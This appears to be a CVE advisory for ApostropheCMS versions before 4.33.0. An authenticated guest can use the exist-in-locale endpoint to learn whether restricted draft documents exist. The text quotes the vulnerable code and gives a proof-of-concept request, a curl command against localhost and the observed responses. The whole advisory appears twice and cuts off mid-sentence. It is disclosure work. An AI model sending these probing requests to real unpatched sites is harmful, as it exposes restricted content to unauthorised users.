CVE-2026-113660

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

| Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | 403 Forbidden | | exist-in-locale for the same restricted draft | 200 OK with localized document ID | | exist-in-locale for a nonexistent ID | 200 OK with empty arrays |

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:…

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

| Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | 403 Forbidden | | exist-in-locale for the same restricted draft | 200 OK with localized document ID | | exist-in-locale for a nonexistent ID | 200 OK with empty arrays |

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:…